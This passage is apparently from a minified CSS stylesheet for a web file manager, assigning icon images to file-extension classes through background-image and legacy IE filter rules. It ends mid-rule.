.x-item-file.x-font-icon{font-size:12px;line-height:18px;color:#fff;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config,.x-srt,.x-ass,.x-lrc{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m,.x-nc{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-7z,.x-apk,.x-ace,.x-arj,.x-bza,.x-cab,.x-cxr,.x-dgc,.x-gca,.x-gz,.x-gza,.x-iso,.x-jar,.x-lzh,.x-rar,.x-rk,.x-tar,.x-tbz,.x-tgz,.x-tlz,.x-txz,.x-yz1,.x-zip{background-image:url("../../../images/file_icon/icon_file/zip_all.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip_all.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip_all.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-7z{background-image:url("../../../images/file_icon/icon_file/7z.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/7z.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/7z.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-djvu{background-image:url("../../../images/file_icon/icon_file/djvu.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/djvu.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/djvu.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dng{background-image:url("../../../images/file_icon/icon_file/dng.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dng.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dng.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc,.x-wps{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none 